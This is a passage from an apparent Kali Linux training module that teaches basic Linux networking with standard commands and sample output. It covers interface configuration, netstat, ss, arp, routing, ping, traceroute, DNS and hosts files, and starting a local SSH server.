interface through the command line.
In the Linux Terminal, let's analyze the
/etc/network/interfaces file.
kali@kali:~$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
Listing 7 - Default content of /etc/network/interfaces
This is the original content of the /etc/network/interfaces file
on our Kali system. We'll notice that there isn't a reference to eth0.
This is managed by the NetworkManager by default, so writing to the
/etc/network/interfaces file will override the default management
and use the configuration settings specified.
We can modify this file to configure a network interface by adding the
following lines to the file:
allow-hotplug [interface]
iface [interface] inet static
address [IP]
netmask [Netmask]
gateway [Default_Gateway]
Listing 8 - The general configuration for static IP configuration of /etc/network/interfaces
We will replace the variable contents above with the static
configuration we set in the previous example. When finished, the file
should appear as such:
kali@kali:~$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
allow-hotplug eth0
iface eth0 inet static
address 10.1.1.254
netmask 255.255.255.0
gateway 10.1.1.1
Listing 9 - Example static configuration of /etc/network/interfaces
Now, let's breakdown these changes. First, the
allow-hotplug[374] line enables the configuration of the
specified interface when the kernel detects a 'hotplug' event. This is
when a device status (plugged in/unplugged) changes while the system
is running.
The iface is short for interface and inet is the type of
connection that will be made. The type of connection can be "static"
or "dhcp" (dynamic).
The address line contains the desired IP for the host.
The netmask specifies the network mask of the network the IP is on.
The gateway is the IP the network needs to use to reach out to other
networks. This would normally be the network's router IP.
If we run ip addr again, we will still have the same IP address
as before our change. In the case of this host, the IP will remain
10.0.2.15. for the configuration changes we made take effect, we
will need to take down the interface and bring it back up. We can do
this using the ifdown parameter.
kali@kali:~$ sudo ifdown eth0
[sudo] password for kali:
Listing 10 - Stopping the interface
Next, we can use the ifup parameter to bring the interface back
up.
kali@kali:~$ sudo ifup eth0
kali@kali:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:6b:9f:b4 brd ff:ff:ff:ff:ff:ff
inet 192.168.1.254/24 brd 192.168.1.255 scope global eth0
valid_lft forever preferred_lft forever
Listing 10 - Restarting the interface
After restarting the interface, we can determine that the static
configuration took effect on the host. Let's change this back to dhcp
with an explicit configuration of the /etc/network/interfaces
file.
kali@kali:~$ cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
allow-hotplug eth0
iface eth0 inet dhcp
Listing 11 - Explicit dhcp configuration in /etc/network/interfaces
We'll notice that the /etc/network/interfaces file
includes a line that starts with "source". This keyword allows us
to split our network interfaces into individual files within the
specified directory instead of adding them directly all to the
/etc/network/interfaces file. Some server admins use this
functionality to make automation easier or to keep things organized.
Another valuable piece of information is the hostname. This is the
name given to the specific host (server, desktop, phone, etc). This
is a more human-relatable piece of information, that, from a hacking
perspective, might indicate the host's function within the network.
For example, if the hostname discovered is "SalesSvr", this might be
the sales server and a prime target.
The hostname can be found in the terminal output after the "@" symbol.
In the output, the hostname is "kali." This can also be determined by
running the hostname command.
kali@kali :~$ hostname
kali
Listing 12 - hostname
So far, we learned how to configure an IP address, leverage a few
utilities to find out network information, and discover a local host's
hostname.
Let's try some exercises to reinforce these skills.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Now that we understand how to perform basic network enumeration,
let's begin enumerating hosts that are communicating with our
host. We'll need to investigate three network utilities to do this:
netstat,[375] ss,[376] and arp.[170-1]
Let's start by entering netstat -natup in the Kali Terminal. We'll
set -n to show numerical addresses instead of trying to determine
symbolic host, port, or user names. The -a option will show both
listening and non-listening sockets. Setting the -t option lists
TCP connections. We'll use -u to list UDP connections as well.
Finally, let's set -p to show the PID and name of the program to
which each socket belongs.
A symbolic host is the human-readable version of the host in question.
This will be covered in more detail in the Name Resolution Learning
Unit of this Module. In the following example, there are no windows
open other than the Kali Terminal.
Before getting into this exercise, we should note that netstat is a
legacy command (like ifconfig), since replaced by ss, which we'll
cover shortly.
kali@kali:~$ netstat -natup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Listing 13 - netstat -natup with no outbound connections
The only connection in the above example is the local address
0.0.0.0:68 and the foreign address 0.0.0.0:* using the UDP
protocol. This means that the localhost has UDP port 68 open and is
ready to accept connections from any IP address on any port.
It shouldn't be surprising that there isn't a "State" listed for this
port. This is because UDP is a connectionless protocol, meaning that
UDP ports are open or closed. UDP cannot have the same states as a TCP
connection, which we will review in a moment.
The 0.0.0.0 symbolizes all possible IPv4 addresses. This means that
all IPv4 values will fall under the categorization of 0.0.0.0. The
colon (:) separates the IP address and the port.
There isn't a PID listed in the output, since this was executed at
the user level. If sudo were prepended before the command
execution, the PID would be listed because it's tied to the root user
account.
Let's open a browser on the host, navigate to
https://www.offsec.com/, and run netstat
-natup again. We should keep in mind that individual results may not
appear the same as the examples shown.
kali@kali:~$ netstat -natup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 10.0.2.15:53292 72.21.91.29:80 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:53296 72.21.91.29:80 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:48488 13.224.42.64:443 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:58074 142.250.189.10:443 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:41852 172.217.5.195:80 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:55376 44.227.61.45:443 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:50094 52.40.9.225:443 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:36702 13.224.42.4:443 ESTABLISHED 2363/x-www-browser
tcp 0 0 10.0.2.15:36704 13.224.42.4:443 ESTABLISHED 2363/x-www-browser
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Listing 14 - Network connections with browser open
There are now many connections made from our host. Let's review a few
important TCP states.
In the example above, ESTABLISHED indicates that this is an active
connection. CLOSE_WAIT means that the remote end has shut down
and the host is waiting for the socket to close. TIME_WAIT is when
the socket is waiting after closing to handle packets still in the
network.
LISTENING is when the host is listening for incoming connections.
SYN_SENT means the socket is actively attempting to establish a
connection. This may indicate a firewall issue, as there is an attempt
to establish communication, but nothing was received from that initial
SYN request.
We should also note the ports being used in the connections. Since
the browser was opened, ports 80 (HTTP) and 443 (HTTPS) are
understandably shown. The highlighted line in the listing shows a TCP
connection to 142.250.189.10 on port 443 that is ESTABLISHED
through the browser.
It is important to commit some important ports to memory. While the
dedicated ports for the most commonly used services can seem daunting
at first, with time and practice, they become ingrained in our memory.
Until then, there are plenty of online resources[377] we can
use for a quick refresher.
For our next demonstration, let's execute the actions immediately.
States can change quickly, depending on the transition between states.
To observe a change in the "State" field, we'll close the browser and
run netstat -natup again.
kali@kali:~$ netstat -natup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 10.0.2.15:57690 13.224.42.9:443 TIME_WAIT -
tcp 0 0 10.0.2.15:57692 13.224.42.9:443 TIME_WAIT -
tcp 0 0 10.0.2.15:58848 13.224.42.50:443 TIME_WAIT -
tcp 0 0 10.0.2.15:53322 72.21.91.29:80 TIME_WAIT -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Listing 15 - netstat -natup immediately after closing the browser
As shown in the output above, the State field shows TIME_WAIT.
This is due to unresolved packets in the network between the
connections being made through the browser and the host.
If you go through this exercise and don't observe the TIME_WAIT,
try opening the browser, immediately closing it, and running netstat
-natup again. After waiting a couple of minutes, the TIME_WAIT
connections will resolve and be removed from the list.
The utility ss[378] is the replacement for netstat. It is the
default on most newer Linux distributions, which means that netstat
may not available in those distributions. ss has the same options as
netstat and the output of the two utilities is very similar. Let's run
the same exercise with ss. Again, we'll close the browser, wait for
the TIME_WAIT state to clear, and run ss -natup.
kali@kali:~$ ss -natup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
Listing 16 - ss -natup with no connections
We'll open the browser, navigate to
https://www.offsec.com, run ss -natup again,
and observe the changes.
kali@kali:~$ ss -natup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp ESTAB 0 0 10.0.2.15:42498 44.241.251.147:443 users:(("x-www-browser",pid=5445,fd=124))
tcp ESTAB 0 0 10.0.2.15:53566 72.21.91.29:80 users:(("x-www-browser",pid=5445,fd=133))
tcp ESTAB 0 0 10.0.2.15:48764 13.224.42.64:443 users:(("x-www-browser",pid=5445,fd=111))
tcp ESTAB 0 0 10.0.2.15:48654 13.224.42.85:443 users:(("x-www-browser",pid=5445,fd=105))
tcp ESTAB 0 0 10.0.2.15:48658 13.224.42.85:443 users:(("x-www-browser",pid=5445,fd=127))
tcp ESTAB 0 0 10.0.2.15:48656 13.224.42.85:443 users:(("x-www-browser",pid=5445,fd=123))
Listing 17 - ss -natup after the browser is opened
Just like our execution of netstat -natup, we can observe
multiple connections established through the browser. Let's close the
browser and run ss -natup to analyze the changes.
kali@kali:~$ ss -natup
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp TIME-WAIT 0 0 10.0.2.15:53566 72.21.91.29:80
tcp TIME-WAIT 0 0 10.0.2.15:48764 13.224.42.64:443
tcp TIME-WAIT 0 0 10.0.2.15:48654 13.224.42.85:443
tcp TIME-WAIT 0 0 10.0.2.15:48658 13.224.42.85:443
tcp TIME-WAIT 0 0 10.0.2.15:48656 13.224.42.85:443
Listing 18 - ss -natup after browser is closed
It's extremely useful to monitor connections coming in or going out
to other networks, as this can lead to understanding interconnecting
services, utilizing pivot points, discovering internal services, and
even identifying any ports that are listening on a host.
This information can also be used to get a better idea of any firewall
rules (rules that allow and/or disallow network traffic) in place.
Remote connections, or even connections to network ports, are not the
only valuable pieces of network information.
Analyzing local network hosts via the Layer 2 (data link
layer) connections made on the network can be incredibly
useful when identifying hosts on a network or conducting
monster-in-the-middle[379] (MITM) attacks to spoof traffic.
Although such attacks are out of scope for this Module, learning about
arp[380] (address resolution protocol) can help us understand how
Layer 2 attacks work. The arp command shows the connected machines
on a network at the layer 2 level of the OSI model.
Armed with a detailed explanation of arp from the Networking Module,
let's run arp -en to use default Linux style output and show
numerical addresses.
kal@kali:~$ arp -en
Address HWtype HWaddress Flags Mask Iface
10.0.2.2 ether 52:54:00:12:35:02 C eth0
Listing 19 - arp -en with no other shared computers on the network
The connection shown in the above example is the default router
for the NAT Network the kali host is connected to. The IP address
10.0.2.2 is a machine on the network that the host is connected to
in some manner. It has the MAC address 52:54:00:12:35:02 and was
reached by the eth0 interface.
In the next example, we changed the network setting to
Bridged.[381] This puts the VM on our local network IP
space. Let's execute arp -en again.
Don't worry about changing the networking on the lab machine
for this. This is to demonstrate the interaction of a network with
other physical hosts on it, rather than a closed NAT network that
the previous example was done from. The way our labs are set up, you
should observe something similar to the next example. Of course, your
output will be different than what is listed below.
kali@kali:~$ arp -en
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 4a:56:10:68:7a:8f C eth0
192.168.1.67 ether 3c:16:4e:6b:57:e3 C eth0
Listing 20 - arp -en on local network
The above output shows the default gateway (router) at 192.168.1.1,
and one other device at 192.168.1.67 on the local network.
With this new knowledge, we now should be able to identify network
connections on a host using netstat, ss, and arp.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Understanding where network traffic is going is very important in
determining what can and cannot be accessed. As we covered in the
Networking Module, routes are determined by routers on the network.
Although it is the job of the routers to ultimately direct the network
traffic to the destination, a host must be configured to use that
router as a gateway to the end network. We can retrieve a listing of
routes by entering the route command.
kali@kali:~$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 10.0.2.2 0.0.0.0 UG 0 0 0 eth0
10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
Listing 21 - route
According to the output, a default route exists that will go to the
router at 10.0.2.2. The default route could also be represented as
0.0.0.0. Much like the netstat and ss utilities, the -n option
can be used to keep the network values from being translated from
numerical format to the symbolic hostnames. The Destination field
shows where the packets are going.
In the case of the default route, any traffic that falls outside of
the other defined routes will go to that router. The destination is
displayed as a network IP. The Genmask field corresponds with the
Destination field to define what hosts would be in this network.
In this case, any traffic going to the 10.0.2.0/24 (Genmask of
255.255.255.0 in CIDR notation) network will exit via the eth0
interface (Iface field). The Flags[382] field shows that
the connections are up (U) and one of them is a gateway (G).
We should keep in mind that routes don't necessarily need to
correspond with the addressing of our host. The route command
shows the routing table that is used to tell the host where to direct
traffic based on the IP.
On the example host, another Ethernet interface was added. We don't
need to worry about adding or removing interfaces from the provided
lab VM; this was simply done for demonstration.
With two Ethernet interfaces now connected, this is the output from
the ip addr command:
kali@kali:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:6b:9f:b4 brd ff:ff:ff:ff:ff:ff
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0
valid_lft 85275sec preferred_lft 85275sec
inet6 fe80::a00:27ff:fe6b:9fb4/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 08:00:27:63:f5:72 brd ff:ff:ff:ff:ff:ff
inet 10.13.37.5/24 brd 10.13.37.255 scope global dynamic noprefixroute eth1
valid_lft 371sec preferred_lft 371sec
inet6 fe80::a00:27ff:fe63:f572/64 scope link noprefixroute
valid_lft forever preferred_lft forever
Listing 22 - A second Ethernet interface
On the network that eth1 shares, we'll notice another host at
10.13.37.117. This is an additional VM that was added for the
demonstration. Guidance for the corresponding exercises will
be provided in the exercises section. For now, let's test for
connectivity to this host by sending a ping.[383]
kali@kali:~$ ping 10.13.37.117
PING 10.13.37.117 (10.13.37.117) 56(84) bytes of data.
^C
--- 10.13.37.117 ping statistics ---
114 packets transmitted, 0 received, 100% packet loss , time 115638ms
Listing 23 - The ping hangs with no response
The terminal appeared to be frozen, so we pressed
C+c to exit the process. The output above indicates
that 114 packets were sent to the host and 100% of those packets
were lost. To conduct a quick ping test, the -c option could also
be used to specify how many ping attempts will be made. Let's execute
another ping to this host with 5 attempts.
kali@kali:~$ ping -c 5 10.13.37.117
PING 10.13.37.117 (10.13.37.117) 56(84) bytes of data.
--- 10.13.37.117 ping statistics ---
5 packets transmitted, 0 received, 100% packet loss, time 4084ms
Listing 24 - The -c 5 limited the number ICMP ping packets to 5
Again, the ping packets failed. Without a specified route to
this host's network, the default route is being used. Since the
route is going through the eth1 interface, we will manually add a
route[384] to this network. We can do this by utilizing the
ip route add parameter plus the route we want and the interface we
want the route on. We'll also need to prepend sudo to the command
execution to make the system change.
kali@kali:~$ sudo ip route add 10.13.37.0/24 dev eth1
kali@kali:~$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 10.0.2.2 0.0.0.0 UG 0 0 0 eth0
10.0.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
10.13.37.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
Listing 25 - A route was added and displayed
With the route added, let's ping the host with 3 attempts.
kali@kali:~$ ping -c 3 10.13.37.117
PING 10.13.37.117 (10.13.37.117) 56(84) bytes of data.
64 bytes from 10.13.37.117: icmp_seq=1 ttl=64 time=0.440 ms
64 bytes from 10.13.37.117: icmp_seq=2 ttl=64 time=0.519 ms
64 bytes from 10.13.37.117: icmp_seq=3 ttl=64 time=0.633 ms
--- 10.13.37.117 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss , time 2030ms
rtt min/avg/max/mdev = 0.440/0.530/0.633/0.079 ms
Listing 26 - The pings are successful after the route is added
The pings are now successful with this route added to the routing
table.[385]
Another helpful ICMP utility when troubleshooting network connections
is traceroute.[386] With this utility, the TTL (time to
live) is lengthened as compared to ping, and each hop (router) is
reported back to the originating host. This is ideal when determining
how many router hops are between a host and the target. It is also
used to determine where a point of failure may be on a network. Each
hop is a router routing the traffic to the next point in the path to
get to our end goal.
In our case, the goal is to reach the server that holds
offsec.com, so let's run a traceroute on
offsec.com.
kali@kali:~$ traceroute offsec.com
traceroute to offsec.com (192.124.249.5), 30 hops max, 60 byte packets
1 10.0.2.2 (10.0.2.2) 0.499 ms 0.471 ms 0.693 ms
2 192.168.1.1 (192.168.1.1) 2.778 ms 3.851 ms 4.923 ms
3 072-031-137-017.res.spectrum.com (72.31.137.17) 16.763 ms 15.757 ms 15.746 ms
4 071-046-012-011.res.spectrum.com (71.46.12.11) 16.726 ms 17.880 ms 17.869 ms
5 bundle-ether32.orld31-car2.bhn.net (72.31.188.150) 20.930 ms 29.556 ms 18.828 ms
6 072-031-067-254.res.spectrum.com (72.31.67.254) 27.446 ms 072-031-220-138.res.spectrum.com (72.31.220.138) 24.700 ms 19.269 ms
7 072-031-067-218.res.spectrum.com (72.31.67.218) 21.485 ms 072-031-220-136.res.spectrum.com (72.31.220.136) 19.317 ms 072-031-067-216.res.spectrum.com (72.31.67.216) 20.454 ms
8 0.xe-2-2-1.pr0.atl20.tbone.rr.com (66.109.9.138) 21.440 ms
bu-ether44.tustca4200w-bcr00.tbone.rr.com (66.109.6.128) 25.735 ms 0.xe-2-2-1.pr0.atl20.tbone.rr.com (66.109.9.138) 26.698 ms
9 66.109.5.131 (66.109.5.131) 25.416 ms 29.801 ms
26.884 ms
10 ae4.cr6-mia1.ip4.gtt.net (208.116.217.205) 35.165 ms 36.093 ms 36.080 ms
11 et-0-0-17.cr8-mia1.ip4.gtt.net (213.200.113.150) 31.964 ms 31.951 ms et-0-0-31.cr8-mia1.ip4.gtt.net (89.149.133.226) 30.952 ms
12 * * *
13 * * *
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *
19 * * *
20 * * *
21 * * *
22 * * *
23 * * *
24 * * *
25 * * *
26 * * *
27 * * *
28 * * *
29 * * *
30 * * *
Listing 27 - Network path to reach offsec.com
In the listing above, each number is a hop to get to
offsec.com. Each of these hops is a router that
directs the traffic closer to our destination.
The first two items
do not have a human-readable name, so the IPs of those routers are
displayed.
The following routers have human-readable names that are resolved by
DNS and have the IP addresses listed after each name. The last known
router in the path to offsec.com is on the 11th
line. This could be the final destination to the host we want to
communicate with or the last responding router in the path.
The maximum number of hops defaults to 30. This can be changed using
the -m option. To change the maximum hops to 75, the syntax would
be traceroute -m 75 offsec.com.
In this section, we explored routes in Linux, the ping utility, and
the traceroute utility. This skillset helps to reach networks that are
not automatically configured in the routing table, verify connectivity
with hosts, and potentially diagnose troublesome routing devices along
a path to the destination goal.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Name resolution is the translation of IP addresses into a
human-readable format. It is much easier to remember "kali.org" than
to remember the address 35.185.44.232. Sometimes, this name resolution
functionality on a network will be broken and force us to use the IP
instead of the name.
This section will explore some critical components in the Linux system
for configuring name resolution on the host (whether that is to reach
out to a server or to be handled locally on the machine). We can
expect to find the IP using the ping utility, so let's
ping kali.org.
kali@kali:~$ ping -c 2 kali.org
PING kali.org (35.185.44.232) 56(84) bytes of data.
64 bytes from 232.44.185.35.bc.googleusercontent.com (35.185.44.232): icmp_seq=1 ttl=63 time=51.1 ms
64 bytes from 232.44.185.35.bc.googleusercontent.com (35.185.44.232): icmp_seq=2 ttl=63 time=51.9 ms
--- kali.org ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1009ms
rtt min/avg/max/mdev = 51.084/51.478/51.872/0.394 ms
Listing 28 - Pinging Kali.org twice to translate the human-readable name to IP
As mentioned, the IP address 35.185.44.232 is much harder to remember
than the URL name. This name translation mechanism is handled by
a Domain Name System (DNS)[387] server. A DNS server takes in
requests for the human-readable site name, searches a table for that
name, then points the requests to the appropriate IP. This is similar
to how we might search for a name in a physical phone book to find a
phone number.
Focusing on Linux networking, let's identify the files
responsible for pointing to the DNS and the local files
responsible for name resolution. To begin, we'll analyze the
/etc/resolv.conf[388] file. The following example was taken
from a default installation of Kali.
kali@kali:~$ cat /etc/resolv.conf
domain offsec.com
search offsec.com
nameserver 192.168.1.1
Listing 29 - The remote DNS server configuration
In this file, we'll observe three lines: a domain entry, a search
entry, and a nameserver entry. The offsec value is a
domain. Before dissecting the contents of this file, let's examine how
a domain works.
First, we'll cover the top-level domain[389] (TLD), which
is the last part of the domain. This is commonly represented
as .com, .biz, .edu, .gov, .org, or similar placed at the end of each
domain name.
In the URL https://www.offsec.com/, .com is
the TLD. Next, let's examine the domain. This is the part of the
text that is immediately before the TLD, separated by the period
(.). Following our example, the domain is offsec.
When the domain is combined with the TLD, this is called the root
domain.[390]
When considering www.offsec.com, the www is a
subdomain. The subdomain can be as simple as a host on the domain or
as complicated as an entire network. Further domain name complexities
are out-of-scope for this Module, but we should note that each of these
domain designations is separated by a period.
When someone searches for www.offsec.com, the
request initially goes to a DNS server. The server references this
information from the TLD to the subdomain. First, the server will
reference the .com TLD. It will then search for offsec
within this area, concluding with the IP address for the www
subdomain.
Once this search is complete, an IP associated with
the search will be used when navigating to the site
https://www.offsec.com/. Now, let's dissect the
entries in the /etc/resolv.conf file.
If a search is performed on a network without specifying the domain
name, the domain entry will be used. In this case, let's suppose
that a browser is open and the user enters https://www.
Since the domain was not specified in this browser search,
the domain entry offsec.com will be added to
this search, separated by a period. This will translate to
https://www.offsec.com.
We should keep in mind that the domain entry in the example given is
actually a root domain, so the translation happens in full and the
site is opened.
If the domain entry is not in the configuration, the search entry will
be used. There can only be one value for the domain entry, whereas
the search line can have a list of domains to auto-resolve. As was
resolved by the domain entry, the same would be true in the case of
the search entry line. The domain entry will take priority, so having
both of these lines is redundant. If there was a need to auto-resolve
multiple domains, the search entry line should be used and the domain
entry line removed. An example of this might appear as the following:
kali@kali:~$ cat /etc/resolv.conf
search offsec.com kali.org
nameserver 192.168.1.1
Listing 30 - Multiple auto-resolved domains
Since the search entry line is configured, as shown in the above
listing, the search of "tools" will first check to identify if there
is a tools subdomain at offsec.com. If not found,
it will try the next entry and search in the kali.org root domain
space.
If we were to try to ping "tool" with the above configuration,
the result would return the name and IP associated with
tools.kali.org. There isn't a "tools" subdomain in the
offsec.com root domain.
We should make sure that the /etc/resolv.conf file is
returned to default configuration before moving forward.
The most important line in this file is the 'nameserver' line.
This defines the DNS server that will be used for any and all
outside domain references. We've observed that the DNS server
is 192.168.1.1. We can define more than one DNS server in this
configuration file by appending another nameserver entry line to
the file with its respective IP address.
kali@kali:~$ cat /etc/resolv.conf
domain offsec.com
search offsec.com
nameserver 192.168.1.1
nameserver 8.8.8.8
Listing 31 - Added Google's DNS server as the secondary DNS
If the first DNS server IP fails to resolve the IP to a name,
the secondary DNS set can attempt to resolve the name. Adding
more nameserver entries may also be useful for resolving internal
resources.
When the need for name resolution doesn't require a full DNS
server, the /etc/hosts[391] file can be configured to manage
name resolutions. The following listing displays the default
/etc/hosts file configuration.
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Listing 32 - The default /etc/hosts file
The first column is the IP address, and the second column is the name
that will resolve to the IP. We'll notice that localhost is provided
in two locations: the IPv4 section as 127.0.0.1 and the IPv6 section
as ::1.
More name entries can be provided in the same line as the IP address.
An example of adding 'me' to the 127.0.0.1 IP is as follows:
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost me
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Listing 33 - Adding another name to resolve to an IP
After this change, if we ping -c 2 me, it resolves to 127.0.0.1.
kali@kali:~$ ping -c 2 me
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.017 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.055 ms
--- localhost ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1024ms
rtt min/avg/max/mdev = 0.017/0.036/0.055/0.019 ms
Listing 34 - me resolves to 127.0.0.1
A new entry can also be added in the same format as the previous
entries. Let's imagine there is an internal file server with the IP
10.124.17.10. To access the files on the file server more easily, we
can add a hosts entry of "FileShare".
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost me
127.0.1.1 kali
10.124.17.10 FileShare
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Listing 35 - A name resolution from FileShare to 10.124.17.10 is added to the /etc/hosts file
With the host entry added, instead of typing the IP address to the
file server, the human-readable word 'FileShare' can be used to access
it.
The order of name resolution is handled by the
/etc/nsswitch.conf[392] (Name Service Switch) file. Let's
analyze this file.
kali@kali:~$ cat /etc/nsswitch.conf
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.
passwd: files systemd
group: files systemd
shadow: files
gshadow: files
hosts: files mdns4_minimal [NOTFOUND=return] dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
Listing 36 - The default /etc/nsswitch.conf file
The first column is the service, and the second column is the way
this service is handled. In the hosts service case, it is handled
first by local files, then mdns4minimal, and finally DNS. The
_mdns4_minimal[393] entry is a multicast DNS resolver that will
auto-populate entries with a .local TLD. If there isn't a relevant
search ending with .local, it will move on to the normal DNS
search. Knowing this, the related service should first reference
the /etc/hosts file that we covered previously.
We should now be able to manage name resolution issues to configure on
a localhost using the /etc/hosts file. This can make working
with commonly-used servers much easier. We should also be able to help
resolve DNS pointer issues when a localhost cannot resolve a name.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 150 minutes to complete.
In this section, we'll examine some common Linux clients, taking a
hands-on approach to gain familiarity with each client. Our first step
is to connect to the client, which means we need to cover the SSH
utility.
Learning how to remotely access other hosts is an incredibly important
skill for information technology professionals. In this section, we'll
cover how to securely access resources and transfer files, as well as
examine some risks with automating the process.
Secure Shell Protocol (SSH)[18-1] is a client/server protocol for
enabling secure communications between two hosts. Communication over
SSH is encrypted over the network, whereas telnet[394] (another
similar client utility) is not. SSH is commonly used to gain remote
access to another host to either use or administer it.
SSH works on TCP port 22 by default. This protocol requires some
form of authentication, typically either a standard username/password
or a public/private key. Let's begin by covering the general usage of
ssh. We'll start a local ssh server on the Kali host. (Individual
output may appear slightly different.)
kali@kali:~$ sudo systemctl start ssh
[sudo] password for kali:
kali@kali:~$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
Loaded: loaded (/lib/systemd/system/ssh.service; disabled; vendor preset: disabled)
Active: active (running) since Mon 2021-07-12 06:59:17 MST; 8s ago
Docs: man:sshd(8)
man:sshd_config(5)
Process: 1327 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
Main PID: 1328 (sshd)
Tasks: 1 (limit: 4631)
Memory: 2.0M
CPU: 19ms
CGroup: /system.slice/ssh.service
└─1328 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Jul 12 06:59:17 kali systemd[1]: Starting OpenBSD Secure Shell server...
Jul 12 06:59:17 kali sshd[1328]: Server listening on 0.0.0.0 port 22.
Jul 12 06:59:17 kali sshd[1328]: Server listening on :: port 22.
Jul 12 06:59:17 kali systemd[1]: Started OpenBSD Secure Shell server.
Listing 37 - Starting and verifying the ssh service
With the ssh service running, we can access our local host with our
kali user. Let's ssh to our localhost by providing our username
followed by an at sign (@) and the host we want to connect to.
kali@kali:~$ ssh kali@localhost
kali@localhost's password:
Linux kali 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 11 08:48:15 2021 from ::1
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
kali@kali:~$ exit
